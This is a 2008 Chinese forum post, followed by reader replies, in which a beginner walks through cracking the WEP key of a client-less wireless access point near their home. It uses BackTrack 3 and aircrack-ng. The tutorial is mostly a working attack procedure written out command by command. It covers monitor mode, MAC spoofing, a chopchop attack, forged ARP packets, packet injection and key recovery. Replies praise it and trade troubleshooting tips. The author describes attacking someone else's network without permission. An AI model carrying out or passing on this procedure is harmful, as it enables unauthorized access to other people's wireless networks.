[原创]新手2200BG破解无客户端AP图文过程
<p>2星期前来到论坛学习破解技术，参考liyg、中卫大哥的教程，结合自己的实践终于在昨晚成功破解家附近的一个无客户端AP。在此感谢liyg、中卫大哥及帮助过我的所有大侠们。闲话少说，直接正题。</p><p>一，准备环境：DELL510M笔记本，自带INTEL2200BG网卡。BT3beta硬盘版。</p><p>二，启动BT3，输入root/toor进行，再输入xconf/startx进入图行界面。</p><p>三，打开一个shell窗口，输入ifconfig -a查看自己的网卡情况，从显示来看自己的网卡接口型号为eth1</p><p> </p><p>四，输入airmon-ng start eth1 8 开启网卡的Monitor模式并工作在8频道（因为AP工作在8频道，可提前用airodump-ng eth1查看下AP的工作频道）</p><p>五，由于使用的是BT3的测试版，2200网卡需要打补丁，输入</p><p>modprobe ipw2200 rtap-iface=1<br/>iwconfig eth1 key s:fakekey<br/>iwconfig eth1 mode managed</p><p> 补丁打好了</p><p>六，修改自己的网卡MAC，为了以后输入方便。输入macchanger -m 00:11:22:33:44:55 eth1回车，后又输入了一次ifconfig -a 查看了下网卡MAC已经更改为00：11：22：33：44：55。（也可以输入ifconfig eth1 up hw ether 00:11:22:33:44:55来修改自己的网卡mac）<br/> </p><p>七，输入airodump-ng --ivs -w name（自己随便起个名字） -c 8 eth1，开始查看AP的活动情况</p><p> </p><p>八，由于AP没有合法的客户端，而且2200也不支持-1的虚拟连接，因此按照中卫的教程使用了-4命令。</p><p>输入aireplay-ng -4 -b AP的mac -h 001122334455 eth1,系统回显use this packet?时输入y回车，开始注入</p><p></p><p>九，一段时间后得到重要的*.xor文件<br/></p><br/>十，使用packetforge-ng命令提取xor文件里的prga并伪造arp包，输入packetforge-ng -0 -a AP的mac -h 001122334455 -k 255.255.255.255 -l 255.255.255.255 -y*.xor -w myrap（这里自己起个名字，我起的名字为myarp）回车，系统回显worte packet to:myarp <p></p><p>十一。使用-2命令开始攻击，data开始猛涨，输入命令：aireplay-ng -2 -r myrap eth1 （这里的myarp就是前面自己起的名字），系统回显：use this packet?输入y回车，data开始猛涨</p><p></p><p>十二。当data到30000条后开始使用aircrack-ng -n 64 123456-01.ivs攻击，结果由于笔记本内存不够，花屏了，由于之前出现了这样的情况，liyg告诉我提前将得到的*.ivs文件备份到了硬盘。所以从新启动bt3后，将硬盘的ivs文件复制到root下后，返回命令行界面直接使用aircrack命令开始破戒，并顺利拿到了密码，因为是命令行模式，就没有办法截图了。（这里提供给一些内存小的笔记本一用aircrack就花屏的方法，当有足够多的data 时，可以直接按ctrl+alt+f1（f1到f5中随便一个），可以直接退到命令行模式，输入root/toor后直接在命令行模式下用aircrack命令破戒吧，这样不会再画屏了吧，呵呵）</p><p>最后再次感谢liyg及中卫大哥等</p> 另外忘记备注一条，前面在输入airodump-ng --ivs -w name -c 8 eth1这里的name我输入的是123456，这样回在root文件夹下生成一个123456-01.ivs的文件，也就是最后用aircrack破解的文件。不知道名字的可以在破戒前用ls命令查看下，就会得到他的全名或直接就输入*.ivs都行 终于知道我为什么攻不下去了.原来要打补丁的.多谢了.今晚回去试下. 此帖没有人顶，不可思议，偶学习了，回去试试看，感谢楼主顺便顶上 原帖由 binbinwal 于 2008-7-30 14:13 发表 http://forum.anywlan.com/images/common/back.gif终于知道我为什么攻不下去了.原来要打补丁的.多谢了.今晚回去试下.
这个不一定，我打了补丁，不能破解不了，哈哈哈，不打补丁倒是破解了。 不错，收藏 谢谢楼主无私奉献,顶一个!! 那如果信号pwr只有5，能不能破呀
我用-1 建立虚拟连接，最后都失败了
AR5005G 好贴,顶一下 从楼主的图片看，你破解的是有客户端的ap 这个是 我见过最详细的了
顶一下